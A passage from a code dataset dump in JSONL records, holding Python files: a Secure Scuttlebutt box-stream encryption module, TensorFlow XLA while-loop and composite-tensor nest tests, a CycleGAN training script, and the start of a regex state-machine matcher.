]\n","repo_name":"BarqueroGerman/BeLFusion","sub_path":"metrics/loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"19"} +{"seq_id":"38074012799","text":"# ssb/shs/boxtream.py\n\n# June 2017 (c) Pedro Ferreira \n# https://github.com/pferreir/pyssb\n\nimport struct\nfrom asyncio import IncompleteReadError\n\nfrom async_generator import async_generator, yield_\nfrom nacl.secret import SecretBox\n\nfrom .util import inc_nonce, split_chunks\n\nHEADER_LENGTH = 2 + 16 + 16\nMAX_SEGMENT_SIZE = 4 * 1024\nTERMINATION_HEADER = (b'\\x00' * 18)\n\n\ndef get_stream_pair(reader, writer, **kwargs):\n \"\"\"Return a tuple with `(unbox_stream, box_stream)` (reader/writer).\n\n :return: (:class:`secret_handshake.boxstream.UnboxStream`,\n :class:`secret_handshake.boxstream.BoxStream`) \"\"\"\n box_args = {\n 'key': kwargs['encrypt_key'],\n 'nonce': kwargs['encrypt_nonce'],\n }\n unbox_args = {\n 'key': kwargs['decrypt_key'],\n 'nonce': kwargs['decrypt_nonce'],\n }\n return UnboxStream(reader, **unbox_args), BoxStream(writer, **box_args)\n\n\nclass UnboxStream(object):\n def __init__(self, reader, key, nonce):\n self.reader = reader\n self.key = key\n self.nonce = nonce\n self.closed = False\n\n async def read(self):\n try:\n data = await self.reader.readexactly(HEADER_LENGTH)\n except IncompleteReadError:\n self.closed = True\n return None\n\n box = SecretBox(self.key)\n\n header = box.decrypt(data, self.nonce)\n\n if header == TERMINATION_HEADER:\n self.closed = True\n return None\n\n length = struct.unpack('>H', header[:2])[0]\n mac = header[2:]\n\n data = await self.reader.readexactly(length)\n\n body = box.decrypt(mac + data, inc_nonce(self.nonce))\n\n self.nonce = inc_nonce(inc_nonce(self.nonce))\n return body\n\n @async_generator\n async def __aiter__(self):\n while True:\n data = await self.read()\n if data is None:\n return\n await yield_(data)\n\n\nclass BoxStream(object):\n def __init__(self, writer, key, nonce):\n self.writer = writer\n self.key = key\n self.box = SecretBox(self.key)\n self.nonce = nonce\n\n def write(self, data):\n for chunk in split_chunks(data, MAX_SEGMENT_SIZE):\n body = self.box.encrypt(chunk, inc_nonce(self.nonce))[24:]\n header = struct.pack('>H', len(body) - 16) + body[:16]\n\n hdrbox = self.box.encrypt(header, self.nonce)[24:]\n self.writer.write(hdrbox)\n\n self.nonce = inc_nonce(inc_nonce(self.nonce))\n self.writer.write(body[16:])\n\n def close(self):\n self.writer.write(self.box.encrypt(b'\\x00' * 18, self.nonce)[24:])\n","repo_name":"cn-uofbasel/ssbdrv","sub_path":"ssb/shs/boxstream.py","file_name":"boxstream.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"19"} +{"seq_id":"3953264694","text":"import os\n\nimport numpy as np\n\nfrom tensorflow.compiler.tests import xla_test\nfrom tensorflow.compiler.tf2xla.python import xla\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import function\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.ops import gradients_impl\nfrom tensorflow.python.ops import map_fn\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import while_loop\nfrom tensorflow.python.platform import test\n\n\nclass WhileTest(xla_test.XLATestCase):\n\n def testSingletonLoopHandrolled(self):\n # Define a function for the loop body\n @function.Defun(dtypes.int32)\n def loop_body(step):\n step_out = step + constant_op.constant(1, dtype=dtypes.int32)\n return step_out\n\n # Define a function for the loop condition\n @function.Defun(dtypes.int32)\n def loop_cond(step):\n return step < 10\n\n with self.session() as sess:\n init_index = array_ops.placeholder(dtypes.int32, [])\n with self.test_scope():\n loop_outputs = xla.while_loop([init_index], loop_cond, loop_body)\n\n result = sess.run(loop_outputs, {init_index: 0})\n self.assertAllClose(result, [10], rtol=1e-3)\n\n def testCountingLoopHandrolled(self):\n # Define a function for the loop body\n @function.Defun(dtypes.int32, dtypes.float32)\n def loop_body(step, rsum):\n step_out = step + constant_op.constant(1, dtype=dtypes.int32)\n sum_out = rsum + constant_op.constant(1.5, dtype=dtypes.float32)\n return step_out, sum_out\n\n # Define a function for the loop condition\n @function.Defun(dtypes.int32, dtypes.float32)\n def loop_cond(step, rsum):\n del rsum\n return step < 10\n\n with self.session() as sess:\n init_index = array_ops.placeholder(dtypes.int32, [])\n init_sum = array_ops.placeholder(dtypes.float32, [])\n with self.test_scope():\n loop_outputs = xla.while_loop([init_index, init_sum], loop_cond,\n loop_body)\n\n result = sess.run(loop_outputs, {init_index: 0, init_sum: 0.0})\n self.assertAllClose(result, [10, 15.0], rtol=1e-3)\n no_iters_result = sess.run(loop_outputs, {init_index: 10, init_sum: 0.0})\n self.assertAllClose(no_iters_result, [10, 0.0], rtol=1e-3)\n\n def testCountingLoopHandrolledC64(self):\n # Define a function for the loop body\n @function.Defun(dtypes.int32, dtypes.complex64)\n def loop_body(step, rsum):\n step_out = step + constant_op.constant(1, dtype=dtypes.int32)\n sum_out = rsum + constant_op.constant(1.5 + 2j, dtype=dtypes.complex64)\n return step_out, sum_out\n\n # Define a function for the loop condition\n @function.Defun(dtypes.int32, dtypes.complex64)\n def loop_cond(step, rsum):\n del rsum\n return step < 10\n\n with self.session() as sess:\n init_index = array_ops.placeholder(dtypes.int32, [])\n init_sum = array_ops.placeholder(dtypes.complex64, [])\n with self.test_scope():\n loop_outputs = xla.while_loop([init_index, init_sum], loop_cond,\n loop_body)\n\n result = sess.run(loop_outputs, {init_index: 0, init_sum: 0.0})\n self.assertAllClose(result[1], np.complex64(15 + 20j), rtol=1e-3)\n no_iters_result = sess.run(loop_outputs, {init_index: 10, init_sum: 0.0})\n self.assertAllClose(no_iters_result[1], np.complex64(0), rtol=1e-3)\n\n def testLoopWithConstantOutput(self):\n # Define a function for the loop body\n @function.Defun(dtypes.int32, dtypes.int32)\n def loop_body(step, x):\n del x\n step_out = step + constant_op.constant(1, dtype=dtypes.int32)\n return (step_out, 7)\n\n # Define a function for the loop condition\n @function.Defun(dtypes.int32, dtypes.int32)\n def loop_cond(step, x):\n del x\n return step < 10\n\n with self.session() as sess:\n init_index = array_ops.placeholder(dtypes.int32, [])\n with self.test_scope():\n loop_outputs = xla.while_loop([init_index, 42], loop_cond, loop_body)\n\n result = sess.run(loop_outputs, {init_index: 0})\n self.assertAllClose(result, [10, 7], rtol=1e-3)\n\n def _testMaxItersSimple(self):\n if is_compile_on_demand():\n self.skipTest(\"list_ops are not supported in cpu_ondemand\")\n with self.session() as sess, self.test_scope():\n xla_context = control_flow_ops.XLAControlFlowContext()\n xla_context.Enter()\n v = constant_op.constant(1.0)\n p = array_ops.placeholder(dtype=dtypes.int32)\n\n def create_while_loop():\n iterations = array_ops.size(p, name=\"iterations\")\n r = while_loop.while_loop(\n lambda *_: True,\n lambda i, x: (i + 1, v * x), (0, 1.0),\n maximum_iterations=iterations,\n name=\"outer\")\n return array_ops.identity(r[1])\n\n output = create_while_loop()\n output = gradients_impl.gradients(output, v)[0]\n\n result = sess.run(output, feed_dict={p: [0, 0, 0]})\n print(result)\n xla_context.Exit()\n\n def testMaxItersSimple(self):\n self.skipTest(\"Fails with v1 control flow\")\n # This fails with old control.\n # self._testMaxItersSimple()\n\n @test_util.enable_control_flow_v2\n def testMaxItersSimpleV2(self):\n self._testMaxItersSimple()\n\n def _testNestedWhileLoopWithMaxItersFromOuterContext(self):\n if is_compile_on_demand():\n self.skipTest(\"list_ops are not supported in cpu_ondemand\")\n with self.session() as sess, self.test_scope():\n xla_context = control_flow_ops.XLAControlFlowContext()\n xla_context.Enter()\n v = constant_op.constant(1.0)\n p = array_ops.placeholder(dtype=dtypes.int32)\n\n def mid_body_builder(iterations):\n\n def mid_body(i, x):\n r = while_loop.while_loop(\n lambda *_: True,\n lambda i, x: (i + 1, v * x), (0, x),\n maximum_iterations=iterations,\n name=\"inner\")\n return (i + 1, gradients_impl.gradients(x + r[1], v)[0])\n\n return mid_body\n\n def outer_body(i, x):\n iterations = array_ops.size(p, name=\"iterations\")\n return (i + 1, x + while_loop.while_loop(\n lambda *_: True,\n mid_body_builder(iterations), (0, x),\n maximum_iterations=iterations,\n name=\"mid\")[1])\n\n def create_while_loop():\n r = while_loop.while_loop(\n lambda *_: True,\n outer_body, (0, 1.0),\n maximum_iterations=5,\n name=\"outer\")\n return array_ops.identity(r[1])\n\n # p:placeholder\n # j = 0\n # i, x = 0, 1.\n # while j++ < 5:\n # i1, x1 = 0, x\n # while i1++ < len(p):\n # i2, x2 = 0, x1\n # while i2++ < len(p):\n # x2 = v * x2\n # x1 = grad(x1 + x2, v)\n # x = x1\n # output = x\n output = create_while_loop()\n sess.run(output, feed_dict={p: [0, 0, 0]})\n xla_context.Exit()\n\n def testNestedWhileLoopWithMaxItersFromOuterContext(self):\n self._testNestedWhileLoopWithMaxItersFromOuterContext()\n\n @test_util.enable_control_flow_v2\n def testNestedWhileLoopWithMaxItersFromOuterContextV2(self):\n self._testNestedWhileLoopWithMaxItersFromOuterContext()\n\n @test_util.enable_control_flow_v2\n def testMap(self):\n if is_compile_on_demand():\n self.skipTest(\"list_ops are not supported in cpu_ondemand\")\n with self.session(), self.test_scope():\n xla_context = control_flow_ops.XLAControlFlowContext()\n xla_context.Enter()\n nums = [1, 2, 3, 4, 5, 6]\n elems = constant_op.constant(nums, name=\"data\")\n r = map_fn.map_fn(lambda x: math_ops.multiply(math_ops.add(x, 3), 2),\n elems)\n self.assertAllEqual(r, np.array([(x + 3) * 2 for x in nums]))\n xla_context.Exit()\n\n @test_util.enable_control_flow_v2\n def testMapBackPropFalse(self):\n if is_compile_on_demand():\n self.skipTest(\"list_ops are not supported in cpu_ondemand\")\n with self.session(), self.test_scope():\n xla_context = control_flow_ops.XLAControlFlowContext()\n xla_context.Enter()\n nums = [1, 2, 3, 4, 5, 6]\n elems = constant_op.constant(nums, name=\"data\")\n r = map_fn.map_fn(\n lambda x: math_ops.multiply(math_ops.add(x, 3), 2),\n elems,\n back_prop=False)\n self.assertAllEqual(r, np.array([(x + 3) * 2 for x in nums]))\n xla_context.Exit()\n\n\ndef is_compile_on_demand():\n return (\"TF_XLA_FLAGS\" in os.environ and\n \"tf_xla_compile_on_demand\" in os.environ[\"TF_XLA_FLAGS\"])\n\n\nif __name__ == \"__main__\":\n os.environ[\"TF_XLA_FLAGS\"] = (\"--tf_xla_min_cluster_size=2 \" +\n os.environ.get(\"TF_XLA_FLAGS\", \"\"))\n test.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/compiler/tests/while_test.py","file_name":"while_test.py","file_ext":"py","file_size_in_byte":8839,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"20008987089","text":"import torch\nfrom torch.utils.data import DataLoader\nfrom dataset import UnpairedTrainDataset\nfrom gan import CycleGAN\nfrom gen_disc import Generator\nimport os\nimport random\nfrom PIL import Image\nfrom torchvision import transforms\n\nMODE = 'train'\n\nif MODE == 'train':\n dataset = UnpairedTrainDataset()\n loader = DataLoader(dataset, batch_size=2, shuffle=True)\n model = CycleGAN()\n for epoch in range(50):\n print('-'*50)\n print(f'We are at epoch {epoch}')\n print('-'*50)\n for i, data in enumerate(loader):\n model.train_one_epoch(data)\n torch.save(model.AB_gen.state_dict(), 'ab.pth')\n torch.save(model.BA_gen.state_dict(), 'ba.pth')\n\nelif MODE=='test':\n model_AB = Generator()\n model_BA = Generator()\n model_AB.load_state_dict(torch.load('ab.pth'))\n model_BA.load_state_dict(torch.load('ba.pth'))\n ran = random.randint(1, 1096) # 1096 is image count in test image directory\n img_pathA = f'./maps/testA/{ran}_A.jpg'\n img_pathB = f'./maps/testB/{ran}_B.jpg'\n imgA = Image.open(img_pathA)\n imgB = Image.open(img_pathB)\n img_tensor_A = transforms.ToTensor()(imgA)\n img_tensor_B = transforms.ToTensor()(imgB)\n\n # d = {'A': img_tensor_A, 'B': img_tensor_B, 'A_path': img_pathA, 'B_path': img_pathB}\n fakeA = model_AB(img_tensor_A.unsqueeze(0))\n assert(fakeA.shape == torch.Size([1, 3, 600, 600]))\n im = transforms.ToPILImage()(fakeA[0]).convert(\"RGB\")\n im.show()\n\n","repo_name":"zhoutianyi1/cyclegan","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4002513214","text":"import gc\nimport sys\nimport weakref\n\nfrom absl.testing import parameterized\nimport numpy as np\n\nfrom tensorflow.python.framework import composite_tensor\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import indexed_slices\nfrom tensorflow.python.framework import sparse_tensor\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.framework import type_spec\nfrom tensorflow.python.ops.ragged import ragged_factory_ops\nfrom tensorflow.python.platform import googletest\nfrom tensorflow.python.util import nest\n\n\nclass CTSpec(type_spec.TypeSpec):\n \"\"\"A generic CompositeTensor TypeSpec, used for constructing tests.\"\"\"\n\n def __init__(self, component_specs, metadata=None):\n self.component_specs = component_specs\n self.metadata = metadata\n\n value_type = property(lambda self: CT)\n _component_specs = property(lambda self: self.component_specs)\n\n def _serialize(self):\n return (self.component_specs, self.metadata)\n\n def _to_components(self, value):\n return value.components\n\n def _from_components(self, tensor_list):\n return CT(tensor_list, self.metadata)\n\n\nclass CT(composite_tensor.CompositeTensor):\n \"\"\"A generic CompositeTensor, used for constructing tests.\"\"\"\n _type_spec_class = CTSpec\n\n def __init__(self, components, metadata=None):\n if isinstance(components, list):\n components = tuple(components)\n self.components = components\n self.metadata = metadata\n\n @property\n def _type_spec(self):\n component_specs = nest.map_structure(type_spec.type_spec_from_value,\n self.components)\n return self._type_spec_class(component_specs, self.metadata)\n\n def __repr__(self):\n return '%s(%r, %r)' % (type(self).__name__, self.components, self.metadata)\n\n def __eq__(self, other):\n return (type(self) is type(other) and\n self.components == other.components and\n self.metadata == other.metadata)\n\n\n# Another test CompositeTensor class. `tf.nest` should treat different CT\n# classes without common supertypes as different structure types\n# (e.g. for assert_same_structure).\nclass CTSpec2(CTSpec):\n pass\n\n\nclass CT2(CT):\n _type_spec_class = CTSpec2\n\n\n# CompositeTensors with a common supertype are considered to be the same\n# structure by tf.nest (e.g. for assert_same_structure).\nclass CT3(CT):\n _type_spec_class = CTSpec\n\n\n@test_util.run_all_in_graph_and_eager_modes\nclass CompositeTensorTest(test_util.TensorFlowTestCase, parameterized.TestCase):\n\n @parameterized.parameters([\n {'structure': CT(0),\n 'expected': [0],\n 'paths': [('CT',)]},\n {'structure': CT('a'),\n 'expected': ['a'],\n 'paths': [('CT',)]},\n {'structure': CT(['a', 'b', 'c']),\n 'expected': ['a', 'b', 'c'],\n 'paths': [('CT', 0), ('CT', 1), ('CT', 2)]},\n {'structure': CT({'x': 'a', 'y': 'b', 'z': 'c'}),\n 'expected': ['a', 'b', 'c'],\n 'paths': [('CT', 'x'), ('CT', 'y'), ('CT', 'z')]},\n {'structure': [{'k1': CT('a')}, CT(['b', {'x': CT({'y': 'c'})}])],\n 'expected': ['a', 'b', 'c'],\n 'paths': [(0, 'k1', 'CT'), (1, 'CT', 0), (1, 'CT', 1, 'x', 'CT', 'y')]},\n {'structure': CT(0),\n 'expand_composites': False,\n 'expected': [CT(0)],\n 'paths': [()]},\n {'structure': [{'k1': CT('a')}, CT(['b', {'x': CT({'y': 'c'})}])],\n 'expand_composites': False,\n 'expected': [CT('a'), CT(['b', {'x': CT({'y': 'c'})}])],\n 'paths': [(0, 'k1'), (1,)]},\n ]) # pyformat: disable\n def testNestFlatten(self, structure, expected, paths, expand_composites=True):\n result = nest.flatten(structure, expand_composites=expand_composites)\n self.assertEqual(result, expected)\n\n result_with_paths = nest.flatten_with_tuple_paths(\n structure, expand_composites=expand_composites)\n self.assertEqual(result_with_paths, list(zip(paths, expected)))\n\n string_paths = ['/'.join(str(p) for p in path) for path in paths] # pylint: disable=g-complex-comprehension\n result_with_string_paths = nest.flatten_with_joined_string_paths(\n structure, expand_composites=expand_composites)\n self.assertEqual(result_with_string_paths,\n list(zip(string_paths, expected)))\n\n flat_paths_result = list(\n nest.yield_flat_paths(structure, expand_composites=expand_composites))\n self.assertEqual(flat_paths_result, paths)\n\n @parameterized.parameters([\n {'s1': [1, 2, 3],\n 's2': [CT(['a', 'b']), 'c', 'd'],\n 'expand_composites': False,\n 'expected': [CT(['a', 'b']), 'c', 'd'],\n 'paths': [(0,), (1,), (2,)]},\n {'s1': [CT([1, 2, 3])],\n 's2': [5],\n 'expand_composites': False,\n 'expected': [5],\n 'paths': [(0,)]},\n {'s1': [[CT([9, 9, 9])], 999, {'y': CT([9, 9])}],\n 's2': [[CT([1, 2, 3])], 100, {'y': CT([CT([4, 5]), 6])}],\n 'expand_composites': False,\n 'expected': [CT([1, 2, 3]), 100, CT([CT([4, 5]), 6])],\n 'paths': [(0, 0), (1,), (2, 'y')]},\n {'s1': [[CT([9, 9, 9])], 999, {'y': CT([CT([9, 9]), 9])}],\n 's2': [[CT([1, 2, 3])], 100, {'y': CT([5, 6])}],\n 'expand_composites': False,\n 'expected': [CT([1, 2, 3]), 100, CT([5, 6])],\n 'paths': [(0, 0), (1,), (2, 'y')]},\n ]) # pyformat: disable\n def testNestFlattenUpTo(self, s1, s2, expected, paths,\n expand_composites=True):\n result = nest.flatten_up_to(s1, s2, expand_composites=expand_composites)\n self.assertEqual(expected, result)\n\n result_with_paths = nest.flatten_with_tuple_paths_up_to(\n s1, s2, expand_composites=expand_composites)\n self.assertEqual(result_with_paths, list(zip(paths, expected)))\n\n @parameterized.parameters([\n {'structure': CT(0),\n 'sequence': [5],\n 'expected': CT(5)},\n {'structure': CT(['a', 'b', 'c']),\n 'sequence': ['A', CT(['b']), {'x': 'y'}],\n 'expected': CT(['A', CT(['b']), {'x': 'y'}])},\n {'structure': [{'k1': CT('a')}, CT(['b', {'x': CT({'y': 'c'})}])],\n 'sequence': ['A', 'B', 'C'],\n 'expected': [{'k1': CT('A')}, CT(['B', {'x': CT({'y': 'C'})}])]},\n {'structure': [{'k1': CT('a')}, CT(['b', {'x': CT({'y': 'c'})}])],\n 'sequence': ['A', 'B'],\n 'expand_composites': False,\n 'expected': [{'k1': 'A'}, 'B']},\n {'structure': CT(0, metadata='abc'),\n 'sequence': [5],\n 'expected': CT(5, metadata='abc')},\n ]) # pyformat: disable\n def testNestPackSequenceAs(self,\n structure,\n sequence,\n expected,\n expand_composites=True):\n result = nest.pack_sequence_as(\n structure, sequence, expand_composites=expand_composites)\n self.assertEqual(result, expected)\n\n @parameterized.parameters([\n {'s1': CT('abc'), 's2': CT('xyz')},\n {'s1': CT(['a', 'b', 'c']), 's2': CT(['d', 'e', 'f'])},\n {'s1': [1, CT([10]), CT(200, metadata='xyz')],\n 's2': [8, CT([55]), CT(100, metadata='xyz')]},\n {'s1': CT('abc'), 's2': CT3('xyz')},\n {'s1': CT(['a', 'b', 'c']), 's2': CT3(['d', 'e', 'f'])},\n {'s1': [1, CT([10]), CT(200, metadata='xyz')],\n 's2': [8, CT([55]), CT3(100, metadata='xyz')]},\n ]) # pyformat: disable\n def testNestAssertSameStructure(self, s1, s2, expand_composites=True):\n nest.assert_same_structure(s1, s2, expand_composites=expand_composites)\n nest.assert_shallow_structure(s1, s2, expand_composites=expand_composites)\n\n @parameterized.parameters([\n {'s1': CT(0), 's2': CT(['x'])},\n {'s1': CT([1]), 's2': CT([1, 2])},\n {'s1': CT({'x': 1}), 's2': CT({'y': 1})},\n {'s1': CT(0), 's2': CT(0, metadata='xyz')},\n {'s1': CT(0, metadata='xyz'), 's2': CT(0)},\n {'s1': CT(0, metadata='xyz'), 's2': CT(0, metadata='abc')},\n {'s1': CT(['a', 'b', 'c']), 's2': CT(['d', 'e'])},\n {'s1': [1, CT(['a']), CT('b', metadata='xyz')],\n 's2': [8, CT([55, 66]), CT(100, metadata='abc')]},\n {'s1': CT(0), 's2': CT2(0)},\n ]) # pyformat: disable\n def testNestAssertSameStructureCompositeMismatch(self,\n s1,\n s2,\n error=ValueError):\n # s1 and s2 have the same structure if expand_composites=False; but\n # different structures if expand_composites=True.\n nest.assert_same_structure(s1, s2, expand_composites=False)\n nest.assert_shallow_structure(s1, s2, expand_composites=False)\n with self.assertRaises(error): # pylint: disable=g-error-prone-assert-raises\n nest.assert_same_structure(s1, s2, expand_composites=True)\n\n @parameterized.parameters([\n # Note: there are additional test cases in testNestAssertSameStructure.\n {'s1': [1], 's2': [CT(1)]},\n {'s1': [[CT([1, 2, 3])], 100, {'y': CT([5, 6])}],\n 's2': [[CT([1, 2, 3])], 100, {'y': CT([CT([4, 5]), 6])}],\n 'expand_composites': False},\n {'s1': [[CT([1, 2, 3])], 100, {'y': CT([CT([4, 5]), 6])}],\n 's2': [[CT([1, 2, 3])], 100, {'y': CT([5, 6])}],\n 'expand_composites': False},\n ]) # pyformat: disable\n def testNestAssertShallowStructure(self, s1, s2, expand_composites=True):\n nest.assert_shallow_structure(s1, s2, expand_composites=expand_composites)\n\n @parameterized.parameters([\n # Note: there are additional test cases in\n # testNestAssertSameStructureCompositeMismatch.\n {'s1': [[CT([1, 2, 3])], 100, {'y': CT([CT([4, 5]), 6])}],\n 's2': [[CT([1, 2, 3])], 100, {'y': CT([5, 6])}]},\n {'s1': CT([1, 2, 3]),\n 's2': [1, 2, 3],\n 'check_types': False},\n ]) # pyformat: disable\n def testNestAssertShallowStructureCompositeMismatch(self,\n s1,\n s2,\n check_types=True):\n with self.assertRaises((TypeError, ValueError)): # pylint: disable=g-error-prone-assert-raises\n nest.assert_shallow_structure(\n s1, s2, expand_composites=True, check_types=check_types)\n\n @parameterized.parameters([\n {'structure': CT(1, metadata=2),\n 'expected': CT(11, metadata=2)},\n {'structure': CT({'x': 1, 'y': [2, 3]}, metadata=2),\n 'expected': CT({'x': 11, 'y': [12, 13]}, metadata=2)},\n {'structure': [[CT([1, 2, 3])], 100, {'y': CT([CT([4, 5]), 6])}],\n 'expected': [[CT([11, 12, 13])], 110, {'y': CT([CT([14, 15]), 16])}]},\n ]) # pyformat: disable\n def testNestMapStructure(self, structure, expected, expand_composites=True):\n func = lambda x: x + 10\n result = nest.map_structure(\n func, structure, expand_composites=expand_composites)\n self.assertEqual(result, expected)\n\n @parameterized.parameters([\n {'s1': [[CT([1, 2, 3])], 100, {'y': 4}],\n 's2': [[CT([1, 2, 3])], 100, {'y': CT([CT([4, 5]), 6])}],\n 'expected': [[CT([11, 12, 13])], 110, {'y': CT([CT([4, 5]), 6])}]}\n ]) # pyformat: disable\n def testNestMapStructureUpTo(self, s1, s2, expected):\n func = lambda x: x + 10 if isinstance(x, int) else x\n result = nest.map_structure_up_to(s1, func, s2, expand_composites=True)\n self.assertEqual(result, expected)\n\n @parameterized.parameters([\n {'structure': CT('a'),\n 'expected': CT('CT:a')},\n {'structure': CT(['a', 'b']),\n 'expected': CT(['CT/0:a', 'CT/1:b'])},\n {'structure': [[CT([1, 2, 3])], 100, {'y': CT([CT([4, 5]), 6])}],\n 'expected': [\n [CT(['0/0/CT/0:1', '0/0/CT/1:2', '0/0/CT/2:3'])],\n '1:100',\n {'y': CT([CT(['2/y/CT/0/CT/0:4', '2/y/CT/0/CT/1:5']),\n '2/y/CT/1:6'])}]},\n ]) # pyformat: disable\n def testNestMapStructureWithPaths(self,\n structure,\n expected,\n expand_composites=True):\n\n def func1(path, x):\n return '%s:%s' % (path, x)\n\n result = nest.map_structure_with_paths(\n func1, structure, expand_composites=expand_composites)\n self.assertEqual(result, expected)\n\n # Use the same test cases for map_structure_with_tuple_paths.\n def func2(tuple_path, x):\n return '%s:%s' % ('/'.join(str(v) for v in tuple_path), x)\n\n result = nest.map_structure_with_tuple_paths(\n func2, structure, expand_composites=expand_composites)\n self.assertEqual(result, expected)\n\n @parameterized.parameters([\n {'s1': [[CT([1, 2, 3])], 100, {'y': [4, 5]}],\n 's2': [[CT([1, 2, 3])], 100, {'y': [CT([4, 5]), 6]}],\n 'expected': [\n [CT(['0/0/CT/0:1', '0/0/CT/1:2', '0/0/CT/2:3'])],\n ('1:100'),\n {'y': ['2/y/0:CT((4, 5), None)', '2/y/1:6']}]},\n ]) # pyformat: disable\n def testNestMapStructureWithTuplePathsUpTo(self, s1, s2, expected):\n\n def func(tuple_path, x):\n return '%s:%s' % ('/'.join(str(v) for v in tuple_path), x)\n\n result = nest.map_structure_with_tuple_paths_up_to(\n s1, func, s2, expand_composites=True)\n self.assertEqual(result, expected)\n\n def testNestGetTraverseShallowStructure(self):\n func = lambda t: not (isinstance(t, CT) and t.metadata == 'B')\n structure = [CT([1, 2], metadata='A'), CT([CT(3)], metadata='B')]\n\n result = nest.get_traverse_shallow_structure(\n func, structure, expand_composites=True)\n expected = [CT([True, True], metadata='A'), False]\n self.assertEqual(result, expected)\n\n def testMemoryIsFreed(self):\n # Note: we use `np.array` values for CT and `set` values for\n # metadata because we need to construct weakrefs to them. Other builtin\n # types, such as `list` and `tuple`, do not support weakrefs.\n ct1 = CT(np.array([1, 2]), set(['no', 'leaks']))\n ct2 = CT(np.array([3, 4]), set(['no', 'leaks']))\n ct3 = CT(np.array([5, 6]), set(['other', 'metadata']))\n\n # Note: map_structure exercises flatten, pack_sequence_as, and\n # assert_same_structure.\n func = lambda x, y: x + y\n ct4 = nest.map_structure(func, ct1, ct2, expand_composites=True)\n\n # Check that the exception-raising path in assert_same_structure\n # doesn't leak any objects.\n with self.assertRaises(ValueError):\n nest.map_structure(func, ct2, ct3, expand_composites=True)\n if hasattr(sys, 'exc_clear'):\n sys.exc_clear() # Remove any references in exception stack traces.\n\n refs = []\n for ct in [ct1, ct2, ct3, ct4]:\n refs.append(weakref.ref(ct))\n refs.append(weakref.ref(ct.components))\n refs.append(weakref.ref(ct.metadata))\n del ct # pylint: disable=undefined-loop-variable\n\n for ref in refs:\n self.assertIsNotNone(ref())\n\n del ct1, ct2, ct3, ct4\n gc.collect()\n for ref in refs:\n self.assertIsNone(ref())\n\n # pylint: disable=g-long-lambda\n @parameterized.named_parameters([\n ('IndexedSlicesNoDenseShape', lambda: indexed_slices.IndexedSlices(\n constant_op.constant([1, 2, 3]), constant_op.constant([2, 8, 4]))),\n ('IndexedSlicesInt32DenseShape', lambda: indexed_slices.IndexedSlices(\n constant_op.constant([1, 2, 3]), constant_op.constant([2, 8, 4]),\n constant_op.constant([10], dtypes.int32))),\n ('IndexedSlicesInt64DenseShape', lambda: indexed_slices.IndexedSlices(\n constant_op.constant([[1, 2], [3, 4]]), constant_op.constant([2, 8]),\n constant_op.constant([10, 2], dtypes.int64))),\n ('RaggedTensorRaggedRank1',\n lambda: ragged_factory_ops.constant([[1, 2], [3]])),\n ('RaggedTensorRaggedRank2',\n lambda: ragged_factory_ops.constant([[[1, 2], [3]], [[6, 7, 8]]])),\n ('SparseTensor',\n lambda: sparse_tensor.SparseTensor([[3], [7]], ['a', 'b'], [10])),\n ('Nested structure', lambda: {\n 'a':\n indexed_slices.IndexedSlices(\n constant_op.constant([1, 2, 3]),\n constant_op.constant([2, 8, 4])),\n 'b': [\n ragged_factory_ops.constant([[1, 2], [3]]),\n sparse_tensor.SparseTensor([[3], [7]], ['a', 'b'], [10])\n ]\n }),\n ])\n def testAssertSameStructureWithValueAndTypeSpec(self, value_func):\n value = value_func()\n spec = nest.map_structure(type_spec.type_spec_from_value, value,\n expand_composites=False)\n nest.assert_same_structure(value, spec, expand_composites=True)\n\n def testConvertVariablesToTensors(self):\n ct = CT(1)\n result = ct._convert_variables_to_tensors()\n self.assertIs(result, ct)\n\n result2 = composite_tensor.convert_variables_to_tensors(ct)\n self.assertIs(result2, ct)\n\n\nif __name__ == '__main__':\n googletest.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/framework/composite_tensor_test.py","file_name":"composite_tensor_test.py","file_ext":"py","file_size_in_byte":16712,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"4807584491","text":"#!/usr/bin/env python\n\nfrom contextlib import suppress\nfrom itertools import tee\n\nclass WildCardTransition:\n def valid_transition_character(self, character):\n return True\n\nclass SingleCharacterTransition:\n def __init__(self, character):\n self.character = character\n\n def valid_transition_character(self, character):\n return self.character == character\n\nclass State:\n @classmethod\n def end_state(cls):\n state = cls()\n state._end_state = True\n return state\n\n def __init__(self):\n self.transitions = []\n self._end_state = False\n\n def add_state_transition(self, character, transition_state):\n if character == '.':\n transition = WildCardTransition()\n else:\n transition = SingleCharacterTransition(character)\n\n self.transitions.append((transition, transition_state))\n\n def is_end_state(self):\n return self._end_state\n\n\ndef matches(string, pattern):\n start_state = compile(pattern)\n return state_match(string, start_state)\n\ndef state_match(string, start_state):\n if start_state.is_end_state():\n return True\n\n try:\n head, *tail = string\n except ValueError:\n return False\n\n for transition, state in start_state.transitions: #t ca*tt\n if transition.valid_transition_character(head) and state_match(tail, state):\n return True\n\n return False\n\n\ndef break_parts(pattern):\n parts = []\n\n pattern_iter = iter(pattern)\n last_part = None\n while True:\n try:\n part = next(pattern_iter)\n if part == \"*\":\n parts.append(last_part + part)\n elif last_part != \"*\" and last_part is not None:\n parts.append(last_part)\n last_part = part\n except StopIteration:\n if last_part != \"*\" and last_part is not None:\n parts.append(last_part)\n break\n return parts\n\n\ndef compile(pattern): #.*c\n start_state = State()\n parts = break_parts(pattern)\n states = [start_state]\n for _ in range(len(parts)):\n states.append(State())\n #end_state = State.end_state()\n 